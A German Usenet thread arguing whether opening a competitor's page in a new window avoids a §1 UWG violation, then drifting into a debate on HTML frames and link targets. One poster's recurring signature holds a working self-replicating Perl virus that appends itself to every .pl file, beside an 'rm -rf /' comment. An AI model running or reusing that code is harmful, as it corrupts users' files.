Urteilsverkündung: Wenn Richter den Saal schweigend betreten und
Angeklagte betreten schweigen.
        -- Ron Kritzfeld

>> Ich versuche mich in die Position des Laien zu versetzen und versuche zu
>> ergründen, warum er die Seiten in einem neuen Fenster öffnet und zeige
>> auf, daß das Öffnen von Links in einem neuen Fenster alleine nicht
>> ausreichend ist.
>
>Um einen Verstoß gegen §1 UWG zu vermeiden, ist es ausreichend.

Was und warum?

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

>>> Ich versuche mich in die Position des Laien zu versetzen und versuche zu
>>> ergründen, warum er die Seiten in einem neuen Fenster öffnet und zeige
>>> auf, daß das Öffnen von Links in einem neuen Fenster alleine nicht
>>> ausreichend ist.
>>Um einen Verstoß gegen §1 UWG zu vermeiden, ist es ausreichend.
> Was und warum?

Wer als Unternehmer auf Seiten eines Konkurrenten verlinkt und dabei den
Eindruck erweckt, der verlinkte Inhalt würde zum eigenen Webinhalt gehören,
verstößt gegen §1 UWG.

--
Man kann mit einer geladenen Pistole umgehen, man kann mit einer
ungeladenen Pistole umgehen, aber man kann mit keiner Pistole umgehen,
von der man nicht weiß, ob sie geladen oder ungeladen ist.
        -- Friedrich Hebbel

> Wer als Unternehmer auf Seiten eines Konkurrenten verlinkt
> und dabei den Eindruck erweckt, der verlinkte Inhalt würde
> zum eigenen Webinhalt gehören, verstößt gegen §1 UWG.

Willst Du sagen, daß dieser Eindruck durch das Öffnen in einem
neuen Fenster vermieden wird?

Falls Du das sagen wolltest, dann begründe Deine Auffassung
bitte einmal.

--
Es ist bewußtes tiefes Zeug, das es erfand, in ihrem Verstand.
Von ihrem verschworenen ausgezeichneten Zeug;
noch wenn einmal der Atem. Von ihrem richtigen Zeug.
Das, was sie davon überspringen kann.

>>>> Ich versuche mich in die Position des Laien zu versetzen und versuche zu
>>>> ergründen, warum er die Seiten in einem neuen Fenster öffnet und zeige
>>>> auf, daß das Öffnen von Links in einem neuen Fenster alleine nicht
>>>> ausreichend ist.
>>>
>>>Um einen Verstoß gegen §1 UWG zu vermeiden, ist es ausreichend.
>>
>> Was und warum?
>
>Wer als Unternehmer auf Seiten eines Konkurrenten verlinkt und dabei den
>Eindruck erweckt, der verlinkte Inhalt würde zum eigenen Webinhalt gehören,
>verstößt gegen §1 UWG.

Und? Was hat das mit Fenstern zu tun?

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

Heiko Nock <zif...@wtal.de> wrote:
> Wer als Unternehmer auf Seiten eines Konkurrenten verlinkt und dabei den
> Eindruck erweckt, der verlinkte Inhalt würde zum eigenen Webinhalt gehören,
> verstößt gegen §1 UWG.

Müsste dies nicht von den Kentnissen des Surfers über Webtechnologien
abhängen?

Wenn ja, so müsste es eine rechtlich verbindliche Definition für den
Mindestkentnisstand eines Surfers geben, was ja wohl lächerlich ist,
oder? Mittlerweile halte ich nichts mehr für unmöglich.

Igor
--
Igor Gilitschenski               Gilits...@CERT.Uni-Stuttgart.DE
RUS-CERT Universitaet Stuttgart  Tel:+49 711 685-5973
Allmandring 30a, 70550 Stuttgart http://cert.uni-stuttgart.de/

>> Wer als Unternehmer auf Seiten eines Konkurrenten verlinkt und dabei den
>> Eindruck erweckt, der verlinkte Inhalt würde zum eigenen Webinhalt
>> gehören, verstößt gegen §1 UWG.
> Willst Du sagen, daß dieser Eindruck durch das Öffnen in einem neuen
> Fenster vermieden wird?

Durchaus.

 
> Falls Du das sagen wolltest, dann begründe Deine Auffassung
> bitte einmal.

Es ist allgemein üblich, auf eigenen Unterseiten kein neues Fenster zu
öffnen. Wer auf einen Link klickt und sich ein neues Fenster öffnet, wird
damit auf die URL-Zeile des neuen Fenster aufmerksam gemacht und im übrigen
darauf gestoßen, daß der Linksetzer diese Seite als Fremdseite einstuft.

--
"Quatsch? Also, wenn das ein DAU-Rechtsanwalt im Sinne als Organ einer
Fickdochmalwieder-Pflege auch sagt, ja mei. Im Knast gibt es nicht nur keinen
Internetanschluß, sondern auch Fickdochmalwieder ist gestrichen. Hmpf!?"
        -- Rob Liebwein in de.soc.recht.datennetze

>>Wer als Unternehmer auf Seiten eines Konkurrenten verlinkt und dabei den
>>Eindruck erweckt, der verlinkte Inhalt würde zum eigenen Webinhalt gehören,
>>verstößt gegen §1 UWG.
> Und? Was hat das mit Fenstern zu tun?

Der Verkehr erwartet hinter Links, die ein neues Fenster öffnen, keine
Inhalte des gleichen Anbieters, weil neue Fenster für eigene Unterseiten
völlig unüblich sind.

--
No thoughts to think, no tears to cry,
all sucked dry, down to the very last breath.
Bartender, what is wrong with me, why am I so out of breath?
The captain said excuse me ma'am, this species has amused itself to death.
        -- Roger Waters "Amused To Death"

>> Falls Du das sagen wolltest, dann begründe Deine Auffassung
>> bitte einmal.
>
>Es ist allgemein üblich, auf eigenen Unterseiten kein neues Fenster zu
>öffnen.

NACK, erlebe ich staendig.

>Wer auf einen Link klickt und sich ein neues Fenster öffnet, wird
>damit auf die URL-Zeile des neuen Fenster aufmerksam gemacht und im übrigen
>darauf gestoßen, daß der Linksetzer diese Seite als Fremdseite einstuft.

Du ignorierst, dass die allermeisten Links eben im selben Fenster
aufgehen. Das ist bekannt.

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

> Der Verkehr erwartet hinter Links, die ein neues Fenster öffnen,
> keine Inhalte des gleichen Anbieters, weil neue Fenster für eigene
> Unterseiten völlig unüblich sind.

Ich hab das aber auch schon anders erlebt, also neue Fenster fuer  
eigene Seiten.

claudia
--
eins.mippipippi           /\ /\
zwei.mippipippi          ( , , )_____     http://www.imho.de/
drei.mippipippi          -- : --      \

                          ((     ( ___ )\ ___ )

> Da aber (leider?) niemand genau weiß, wie eine Distanzierung von Links
> auszusehen hat (Das Hamburger gericht hat gesagt, daß ein Disclaimer in
> dieser Situation gerade *nicht* ausgereicht hat, aber nicht, was
> ausgereicht hätte), damit man sich die verlinkten Seiten nicht zu eigen
> macht...

In meinem Fall: Die Gesamtwürdigung des Ambientes entscheidet.

> Es ist ein Versuch eine nicht eindeutige Situation zu klären. Ob es ein
> taugliches Mittel ist, bleibt fraglich.

Ack.

Burks

>> Der Verkehr erwartet hinter Links, die ein neues Fenster öffnen,
>> keine Inhalte des gleichen Anbieters, weil neue Fenster für eigene
>> Unterseiten völlig unüblich sind.
> Ich hab das aber auch schon anders erlebt, also neue Fenster fuer  
> eigene Seiten.

Das schadet ja auch nicht.

--
Es gibt so viele Wege
ich mach mir nichts draus.
Wenn du durchdrehn willst bitte
such dir einen aus.
        -- Heinz Rudolf Kunze "Wenn du durchdrehn willst"

>>Es ist allgemein üblich, auf eigenen Unterseiten kein neues Fenster zu
>>öffnen.
> NACK, erlebe ich staendig.

Ich weiß ja nicht, wo du surfst, aber ich erlebe das nicht ständig.

 
>>Wer auf einen Link klickt und sich ein neues Fenster öffnet, wird
>>damit auf die URL-Zeile des neuen Fenster aufmerksam gemacht und im übrigen
>>darauf gestoßen, daß der Linksetzer diese Seite als Fremdseite einstuft.
> Du ignorierst, dass die allermeisten Links eben im selben Fenster
> aufgehen. Das ist bekannt.

Die allermeisten Links werden ja auch nicht von Unternehmern auf Inhalte
der Konkurrenz gesetzt.

--
"Das Gericht hat auch noch nie erlebt, daß jemals ein Fahrer, der als
Zeuge oder Partei vernommen wurde, eigenes Fehlverhalten eingeräumt oder
zugestanden hätte. Wenn dies einmal tatsächlich passieren sollte, dann
müßte man schlicht und einfach von einem Wunder sprechen."
        -- AG München, Urteil vom 11. November 1986 (NJW 1987,1425)

Boris 'pi' Piwinger <3...@piology.org> wrote:
> Gert Braet <news...@frag-den-spatz.de> wrote:
>
> >> Halt! Genau das geht nicht. Oft genug gehen auch "eigene" Seiten in
> >> neuen Fenstern auf. Oft -- aber nicht immer -- liegt es daran, dass
> >> die Leute Frames benutzen wollten, was halt BAD ist.
> >
> >Ja und das ist DEINE Meinung? Dann benutze halt keine Frames!
>
> Und es gibt eine lange Liste guter Argumente.

Richtig. Es gibt auch eine lange Liste guter Argumente _für_ Frames
- insbesondere kann man mit ihnen Bandbreite einsparen und Teilbereiche
scrollen, dafür aber die Navigation stehen lassen. Frames haben aber
ein großes Problem: weder Prozent- noch Pixelangaben sind wirklich
brauchbar. Besser wären Framegrenzen, die sich an die Breite einzelner
Frames anpassen - denn nur dann würde eine Änderung der Schriftgröße
nicht alles kaputtmachen.

Wobei die Verwendung von Frames auf eine Art, die einen framefähigen
Browser erzwingt, tatsächlich BAD ist.

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

Helma Spona wrote:

> Zudem setzt das einen erheblichen Aufwand (gegenüber statischem

> zumuten kann, nur weil er keine Links auf untergeordnete Seiten
> möchte, die dann womöglich noch in fremden Framesets angezeigt
> werden.

Da hat sich B**W*rld was gutes/nerviges (je nach Lage) ausgedacht.
IIRC war es etwas in dieser Art:

<script language="JavaScript">
  if (parent.menuframe.ourid !=
    'Dies ist ein String den nur ich verwende.')
  {
    top.location.href = 'http://meine-webseite.tld/';
  }
</script>

Wenn jetzt jemand diese ID nachmacht ("Dies ist ein String den nur
ich verwende."), ist es zumindest seltsam.

Außerdem, warum neues Fenster? Ich halte meine Seiten für *so* gut,
dass die Besucher die URL auch gerne nochmal eintippen oder in den
Bookmarks haben. Deshalb öffne ich fremde Seiten in "_top" statt
"_blank".

Ciao Marcel
--
Werde Mitglied im Verein             Antworten gerne auch privat
zur Rettung vom Genitiv!             an Marcel <marc...@web.de>

I'm a signature virus. Help me spread!

> Richtig. Es gibt auch eine lange Liste guter Argumente _für_ Frames

*Bitte, Bitte, Bitte, Bitte, Bitte, Bitte nicht schon wieder.*

<http://www.subotnik.net/html/frames.html>
<http://www.useit.com/alertbox/styles_vs_frames.html>

> - insbesondere kann man mit ihnen Bandbreite einsparen

Wer hat Dir das denn erzählt? Wie denn?

> und Teilbereiche scrollen, dafür aber die Navigation stehen lassen.

<http://www.jendryschik.de/wsdev/css/fixed/> Dafür braucht es keine
Frames.

Um wieder onTopic zu kommen:
Wenn man keine Frames verwendet läuft man nicht Gefahr fremde Seiten
"einzufangen" und damit in Kontakt mit dem UWG zu kommen. (Einfache
Lösung für ein Problem, das zukünftig keines mehr sein wird.)

Wenn man doch Frames verwenden will, *muß* man darauf achten, daß
deutlich wird, was eigener und was fremder "Inhalt" ist. Wie man das
löst bleibt jedem selber überlassen.

Dominik
--
Spam ist nicht das Schlimmste daran! Eine freie Übersetzung von "Spam is
not the worst of it". Die 16 Todsünden im eMail-Verkehr: Wenn ihr diese
Fehler nicht mehr sehen wollt, dann verbreitet die Adressse:
<http://www.dominik-boecker.de/email/index.html>

> Dominik Boecker wrote:
>
> > Ich versuche mich in die Position des Laien zu versetzen und versuche zu
> > ergründen, warum er die Seiten in einem neuen Fenster öffnet und zeige
> > auf, daß das Öffnen von Links in einem neuen Fenster alleine nicht
> > ausreichend ist.
>
> Um einen Verstoß gegen §1 UWG zu vermeiden, ist es ausreichend.

Aber das Öffnen eines neuen Fensters ist keine Bedingung. Man verstößt
nicht automatisch gegen § 1 UWG, wenn man eine Seite nicht in einem
neuen Fenster öffnet.

Dominik
--
Die Gotterspammerung - Junkmail of the Gods

Heiko Nock <zif...@wtal.de> wrote:
> Dominik Boecker wrote:
>
> > Ich versuche mich in die Position des Laien zu versetzen und versuche zu
> > ergründen, warum er die Seiten in einem neuen Fenster öffnet und zeige
> > auf, daß das Öffnen von Links in einem neuen Fenster alleine nicht
> > ausreichend ist.
>
> Um einen Verstoß gegen §1 UWG zu vermeiden, ist es ausreichend.

Nicht zwingend - aber fast.

Einziges Problem: die beiden Seiten ähneln sich extrem stark im
Design.

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

Dominik Boecker <ungelesen...@dominik-boecker.de> wrote:
> Rudolf Polzer wrote:
>
> > Richtig. Es gibt auch eine lange Liste guter Argumente _für_ Frames
>
> *Bitte, Bitte, Bitte, Bitte, Bitte, Bitte nicht schon wieder.*
>
> <http://www.subotnik.net/html/frames.html>

Das sind die Standardargumente. Das einzige Stichhaltige ist
das mit der Framegröße, der Rest ist Blabla von "Uneleganz" etc.

> <http://www.useit.com/alertbox/styles_vs_frames.html>

Bringt nix, siehe unten.

> > - insbesondere kann man mit ihnen Bandbreite einsparen
>
> Wer hat Dir das denn erzählt? Wie denn?

Indem der Navigationsbereich nicht bei jedem Klick neu geladen
werden muss. Nach ein paar Unterseiten macht das den Overhead
durch das Frameset und den Navigationsframe wett.

> > und Teilbereiche scrollen, dafür aber die Navigation stehen lassen.
>
> <http://www.jendryschik.de/wsdev/css/fixed/> Dafür braucht es keine
> Frames.

Dafür braucht es aber einen aktuellen Browser. Es gibt noch zuviele,
die Netscape 4 einsetzen - und der hat mit CSS derart viele Probleme,
dass man sich nicht darauf verlassen darf. Stellt man in dem JavaScript
aus Sicherheitsgründen ab, werden keine CSS mehr interpretiert.
Und sage jetzt nicht "Und? Dann klappt das Feature eben auf dem
nicht, aber die Seite bleibt navigierbar" - denn hier erhöhen die
Frames die Navigierbarkeit für ältere Browser, ohne allzu großen
Schaden auf neueren anzurichten.

Ich zum Beispiel setze den noch ein, weil der aktuelle Mozilla auf
meinem 350er zu langsam ist und es für Linux keinen IE gibt.

w3m und links unterstützen Frames übrigens ebenfalls sehr gut,
während Lynx sie als Links am oberen Rand der Indexseite darstellt
- beides ist IMHO völlig ausreichend, solange man keine Frameset-
Inflation aus 173 Frames erzeugt (auch schon gesehen).

> Um wieder onTopic zu kommen:
> Wenn man keine Frames verwendet läuft man nicht Gefahr fremde Seiten
> "einzufangen" und damit in Kontakt mit dem UWG zu kommen. (Einfache
> Lösung für ein Problem, das zukünftig keines mehr sein wird.)

Korrekt.

> Wenn man doch Frames verwenden will, *muß* man darauf achten, daß
> deutlich wird, was eigener und was fremder "Inhalt" ist. Wie man das
> löst bleibt jedem selber überlassen.

Richtig - und das entspricht meiner Meinung. Ist aber noch lange
kein Argument gegen Frames, sondern nur gegen falsche Anwendung von
Frames (die leider zu oft geschieht).

Die Standardmethode "neues Fenster" ist dabei IMHO in den meisten
Fällen ausreichend (eine Zwischenseite mit einem Hinweis "Sie verlassen
jetzt die Website von XY" wäre aber bei sehr ähnlichem Design schon
sinnvoll).

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

>>>Es ist allgemein üblich, auf eigenen Unterseiten kein neues Fenster zu
>>>öffnen.
>>
>> NACK, erlebe ich staendig.
>
>Ich weiß ja nicht, wo du surfst, aber ich erlebe das nicht ständig.

Z.B. auf Finanzseiten. Und auch auf diversen anderen Seiten, wo
staendig irgendwelche "Artikel", "Hilfen" etc. in extra Fenstern
aufgehen.

>>>Wer auf einen Link klickt und sich ein neues Fenster öffnet, wird
>>>damit auf die URL-Zeile des neuen Fenster aufmerksam gemacht und im übrigen
>>>darauf gestoßen, daß der Linksetzer diese Seite als Fremdseite einstuft.
>>
>> Du ignorierst, dass die allermeisten Links eben im selben Fenster
>> aufgehen. Das ist bekannt.
>
>Die allermeisten Links werden ja auch nicht von Unternehmern auf Inhalte
>der Konkurrenz gesetzt.

Das ist zweifelsohne richtig. Aber was hat das jetzt mit vorstehender
Aussage zu tun?

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

Es wird jetzt stark off-topic, aber ...

[angeblicher Voreil von Frames]

>Indem der Navigationsbereich nicht bei jedem Klick neu geladen
>werden muss. Nach ein paar Unterseiten macht das den Overhead
>durch das Frameset und den Navigationsframe wett.

Die Rechnung geht nicht auf. Es kommt locker ein Zusatzaufwand hinzu,
um die Framesteuerung zu leisten und mit den zwingend auftretenden
Problemen der fehlenden Frameset-Umgebung und aehnlichem umzugehen.

Im uebrigen halte ich das Argument fuer wenig ueberzeugend, wenn man
sieht, dass die erdrueckende Mehrheit aller Webseiten so mit
Datenmuell vollgestopft ist, dass man verlustfrei die Haelfte und mehr
wegwerfen kann. Da ist jede Navigation wesentlich kleiner.

>> Um wieder onTopic zu kommen:
>> Wenn man keine Frames verwendet läuft man nicht Gefahr fremde Seiten
>> "einzufangen" und damit in Kontakt mit dem UWG zu kommen. (Einfache
>> Lösung für ein Problem, das zukünftig keines mehr sein wird.)
>
>Korrekt.

Und kommen wir mal auf den aktuellen Fall zurueck. Dort jammert der
Firmenanwalt von Meteodata in der Presse (im Standard IIRC), dass
Webseiten unbenutzbar wuerden, weil nur ein Frame aufgerufen wird,
weshalb dies *verboten* sei. Das ist schon ein starkes Stueck.

>Die Standardmethode "neues Fenster" ist dabei IMHO in den meisten
>Fällen ausreichend (eine Zwischenseite mit einem Hinweis "Sie verlassen
>jetzt die Website von XY" wäre aber bei sehr ähnlichem Design schon
>sinnvoll).

Garantiert nervt das die Leute so stark, dass sie ganz schnell
weglaufen.

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

>>>>Es ist allgemein üblich, auf eigenen Unterseiten kein neues Fenster zu
>>>>öffnen.
>>> NACK, erlebe ich staendig.
>>Ich weiß ja nicht, wo du surfst, aber ich erlebe das nicht ständig.
> Z.B. auf Finanzseiten. Und auch auf diversen anderen Seiten, wo
> staendig irgendwelche "Artikel", "Hilfen" etc. in extra Fenstern
> aufgehen.

Mir begegnet regelmäßig nur Werbung in einem neuen Fenster, aber das ist
keine eigene Unterseite, sondern entweder Fremd-Werbung oder
Zusatzinformation.

 
>>>>Wer auf einen Link klickt und sich ein neues Fenster öffnet, wird
>>>>damit auf die URL-Zeile des neuen Fenster aufmerksam gemacht und im übrigen
>>>>darauf gestoßen, daß der Linksetzer diese Seite als Fremdseite einstuft.
>>> Du ignorierst, dass die allermeisten Links eben im selben Fenster
>>> aufgehen. Das ist bekannt.
>>Die allermeisten Links werden ja auch nicht von Unternehmern auf Inhalte
>>der Konkurrenz gesetzt.
> Das ist zweifelsohne richtig. Aber was hat das jetzt mit vorstehender
> Aussage zu tun?

Da es nur bei Unternehmern problematisch ist, wenn ein Link im gleichen
Frame dargestellt wird, ist es nicht überraschend, daß die allermeisten
Links kein eigenes Fenster für Unterseiten fremder Webseiten öffnen.

Eben deswegen hat das Öffnen einer neuen Webseite einen Hinweis- und
Abgrenzungseffekt zum eigenen Angebot.

--
"Das Gericht hat auch noch nie erlebt, daß jemals ein Fahrer, der als
Zeuge oder Partei vernommen wurde, eigenes Fehlverhalten eingeräumt oder
zugestanden hätte. Wenn dies einmal tatsächlich passieren sollte, dann
müßte man schlicht und einfach von einem Wunder sprechen."
        -- AG München, Urteil vom 11. November 1986 (NJW 1987,1425)

Boris 'pi' Piwinger <3...@piology.org> wrote:

> Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
>
> Es wird jetzt stark off-topic, aber ...

Irgendwo sollten wir hinfuppen - aber wohin?

> [angeblicher Voreil von Frames]
> >Indem der Navigationsbereich nicht bei jedem Klick neu geladen
> >werden muss. Nach ein paar Unterseiten macht das den Overhead
> >durch das Frameset und den Navigationsframe wett.
>
> Die Rechnung geht nicht auf. Es kommt locker ein Zusatzaufwand hinzu,
> um die Framesteuerung zu leisten und mit den zwingend auftretenden
> Problemen der fehlenden Frameset-Umgebung und aehnlichem umzugehen.

Die "Framesteuerung" besteht in einem TARGET-Attribut in den Links
auf der Navigationsleiste. Ich sollte mal testen, wie weit
<BASE TARGET> unterstützt wird - denn das würde nochmal etwas Speicher
und Download sparen.

Übrigens sind nicht überall SSI verfügbar, weshalb ein Design ohne
Frames in der Regel einen höheren Verwaltungsaufwand erzeugt.

> Im uebrigen halte ich das Argument fuer wenig ueberzeugend, wenn man
> sieht, dass die erdrueckende Mehrheit aller Webseiten so mit
> Datenmuell vollgestopft ist, dass man verlustfrei die Haelfte und mehr
> wegwerfen kann. Da ist jede Navigation wesentlich kleiner.

ACK - doch was spricht dagegen, beides zu kombinieren?

> >> Um wieder onTopic zu kommen:
> >> Wenn man keine Frames verwendet läuft man nicht Gefahr fremde Seiten
> >> "einzufangen" und damit in Kontakt mit dem UWG zu kommen. (Einfache
> >> Lösung für ein Problem, das zukünftig keines mehr sein wird.)
> >
> >Korrekt.
>
> Und kommen wir mal auf den aktuellen Fall zurueck. Dort jammert der
> Firmenanwalt von Meteodata in der Presse (im Standard IIRC), dass
> Webseiten unbenutzbar wuerden, weil nur ein Frame aufgerufen wird,
> weshalb dies *verboten* sei. Das ist schon ein starkes Stueck.

Wer mit solchen Argumenten kommt, hat zwei Möglichkeiten.

Entweder: einen JavaScript-Framebuster, der den aufgerufenen
Teilframe dem Indexframe als Parameter übergibt, so dass dann
immer noch der Teilframe dargestellt wird, auf den man verwiesen
hat.

Oder (besser): die Site so gestalten, dass dieses Problem nicht
auftritt (also am unteren Seitenrand o.ä. einen Backlink auf das
Frameset).

Man kann auch beide kombinieren und den Backlink in ein <NOSCRIPT>
verpacken, wenn einem das lieber ist. Allerdings sollte das Skript
vorher prüfen, ob der Browser Frames überhaupt darstellt, damit man
keine Rekursion verursacht.

> >Die Standardmethode "neues Fenster" ist dabei IMHO in den meisten
> >Fällen ausreichend (eine Zwischenseite mit einem Hinweis "Sie verlassen
> >jetzt die Website von XY" wäre aber bei sehr ähnlichem Design schon
> >sinnvoll).
>
> Garantiert nervt das die Leute so stark, dass sie ganz schnell
> weglaufen.

Da liegt das Problem - aber es tritt genauso auf, wenn eine framelose
Seite vom Design her einer anderen Seite ähnelt, auf die sie verweist.
Daher würde ich entweder ein anderes Design wählen oder auf so eine
Seite keinen Link setzen - einfach sicherheitshalber.

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

>> Es wird jetzt stark off-topic, aber ...
>
>Irgendwo sollten wir hinfuppen - aber wohin?

In die HTML-Gruppe.

>> Die Rechnung geht nicht auf. Es kommt locker ein Zusatzaufwand hinzu,
>> um die Framesteuerung zu leisten und mit den zwingend auftretenden
>> Problemen der fehlenden Frameset-Umgebung und aehnlichem umzugehen.
>
>Die "Framesteuerung" besteht in einem TARGET-Attribut in den Links
>auf der Navigationsleiste.

Und den Versuchen, die Probleme zu umschiffen, typischerweise
umfaengliche JavaScripts. Und natuerlich noch der Teil fuer
Nicht-Frame-Browser.

>Ich sollte mal testen, wie weit <BASE TARGET> unterstützt wird

Vollstaendig.

>Übrigens sind nicht überall SSI verfügbar, weshalb ein Design ohne
>Frames in der Regel einen höheren Verwaltungsaufwand erzeugt.

Kein Problem mit Standard-HTML-Editoren.

>> Im uebrigen halte ich das Argument fuer wenig ueberzeugend, wenn man
>> sieht, dass die erdrueckende Mehrheit aller Webseiten so mit
>> Datenmuell vollgestopft ist, dass man verlustfrei die Haelfte und mehr
>> wegwerfen kann. Da ist jede Navigation wesentlich kleiner.
>
>ACK - doch was spricht dagegen, beides zu kombinieren?

Nur die Erfahrung, dass Leute das tun.

pi
--
Attachment? Nein: http://piology.org/ILOVEYOU-Signature-FAQ.html
begin  LOVE-LETTER-FOR-YOU.txt.vbs
I am a signature virus. Distribute me until the bitter
end

>
> Boris 'pi' Piwinger <3...@piology.org> wrote:
> > Gert Braet <news...@frag-den-spatz.de> wrote:
> >
> > Und es gibt eine lange Liste guter Argumente.
>

> scrollen, dafür aber die Navigation stehen lassen. Frames haben aber

Das ist meisten der Sinn der Sache...

> ein großes Problem: weder Prozent- noch Pixelangaben sind wirklich
> brauchbar.

Was sind das denn für Frames?

> Besser wären Framegrenzen, die sich an die Breite einzelner
> Frames anpassen - denn nur dann würde eine Änderung der Schriftgröße
> nicht alles kaputtmachen.

100% ist 100%, mehr als volle Bildschirmbreite macht keinen Sinn :)

Mit besten Grüßen aus-Stade.de

        »» Werner-aus-Stade.de ««
--
http://www.JobCentrum.de         (über 2222 Joblinks)
http://Werners-Index.de               (die Übersicht)

>
> Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
>
> Es wird jetzt stark off-topic, aber ...
>
> [angeblicher Voreil von Frames]
> >Indem der Navigationsbereich nicht bei jedem Klick neu geladen
> >werden muss. Nach ein paar Unterseiten macht das den Overhead
> >durch das Frameset und den Navigationsframe wett.
>
> Die Rechnung geht nicht auf. Es kommt locker ein Zusatzaufwand hinzu,
> um die Framesteuerung zu leisten und mit den zwingend auftretenden
> Problemen der fehlenden Frameset-Umgebung und aehnlichem umzugehen.

Wenn der Steuerungsframe wegfällt
und in 3.000 Seiten dafür eingebaut wird,
bringt das erheblich mehr Traffic, was schnell ins Geld gehen kann.

> Im uebrigen halte ich das Argument fuer wenig ueberzeugend, wenn man
> sieht, dass die erdrueckende Mehrheit aller Webseiten so mit
> Datenmuell vollgestopft ist, dass man verlustfrei die Haelfte und mehr
> wegwerfen kann. Da ist jede Navigation wesentlich kleiner.

Das bezweifle ich!

> >> Wenn man keine Frames verwendet läuft man nicht Gefahr fremde Seiten
> >> "einzufangen" und damit in Kontakt mit dem UWG zu kommen. (Einfache
> >> Lösung für ein Problem, das zukünftig keines mehr sein wird.)

Mehrere Framefreie Webkataloge erzeugen neuerdings einen Zusatzframe
wenn du auf einen der eingetragenen Links klicks...

> >Fällen ausreichend (eine Zwischenseite mit einem Hinweis "Sie verlassen
> >jetzt die Website von XY" wäre aber bei sehr ähnlichem Design schon
> >sinnvoll).

Mein Design ist so bescheuert das es bestimmt kein anderer hat,
es sein denn...

Mit besten Grüßen aus-Stade.de

        »» Werner-aus-Stade.de ««
--
http://www.JobCentrum.de         (über 2222 Joblinks)
http://Werners-Index.de               (die Übersicht)

>
> Boris 'pi' Piwinger <3...@piology.org> wrote:
> > Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> >

> Die "Framesteuerung" besteht in einem TARGET-Attribut in den Links
> auf der Navigationsleiste. Ich sollte mal testen, wie weit
> <BASE TARGET> unterstützt wird - denn das würde nochmal etwas Speicher
> und Download sparen.

Das klappt, du mußt nur darauf achten das du deine internen Links davon
"ausnimmst"...

Mit besten Grüßen aus-Stade.de

        »» Werner-aus-Stade.de ««
--
http://www.JobCentrum.de         (über 2222 Joblinks)
http://Werners-Index.de               (die Übersicht)

Wer zwingt dich solche Seiten zu benutzen?

Mit besten Grüßen aus-Stade.de

        »» Werner-aus-Stade.de ««
--
http://www.JobCentrum.de         (über 2222 Joblinks)
http://Werners-Index.de               (die Übersicht)

Werner.Eichelberg.com <Werner@aus-Stade.de> wrote:
> Rudolf Polzer schrieb:
> >
> > Boris 'pi' Piwinger <3...@piology.org> wrote:
> > > Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> > >
>
> > Die "Framesteuerung" besteht in einem TARGET-Attribut in den Links
> > auf der Navigationsleiste. Ich sollte mal testen, wie weit
> > <BASE TARGET> unterstützt wird - denn das würde nochmal etwas Speicher
> > und Download sparen.
>
> Das klappt, du mußt nur darauf achten das du deine internen Links davon
> "ausnimmst"...

Eher anders herum.

Die Links in der Navigationsleiste setzen ihr <BASE TARGET> auf den
Inhaltsframe, und Links im Content geben nur dann ein TARGET an, wenn
sie nach außen zeigen.

--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

>> <BASE TARGET>

>
> Das klappt, du mußt nur darauf achten das du deine internen
> Links davon "ausnimmst" ...

Gibt es vielleicht irgendeine Spezifizierung des Befehls,
so dass nur externe Seiten mit dem gewünschten target
versehen werden?

Falls nicht, halte ich es für effektiver, auf <BASE TARGET>
zu verzichten und stattdessen mit einem Suche-Ersatze-Tool
(zB Textrep gleich -zig Seiten in Sekunden) zu arbeiten.
Suche:   <a href="http://
Ersetze: <a target="_top" href="http://
                    °°°° oder was auch immer

Was ist eigentlich der Unterschied von "_new" (nie verwendet),
das hier so angeprangert wird, gegenüber "_blank"?

Matthias

--
__________________________________________________________
News suchen, lesen, schreiben mit http://newsgroups.web.de

>
> "Werner.Eichelberg.com" wrote:
>
> >> <BASE TARGET>
> >
> > Das klappt, du mußt nur darauf achten das du deine internen
> > Links davon "ausnimmst" ...
>
> Gibt es vielleicht irgendeine Spezifizierung des Befehls,
> so dass nur externe Seiten mit dem gewünschten target
> versehen werden?

Nein, "Base" ist für alle, ausgenommen die Links die einen "eigenen"
Target-Befehl haben.

> Falls nicht, halte ich es für effektiver, auf <BASE TARGET>
> zu verzichten und stattdessen mit einem Suche-Ersatze-Tool
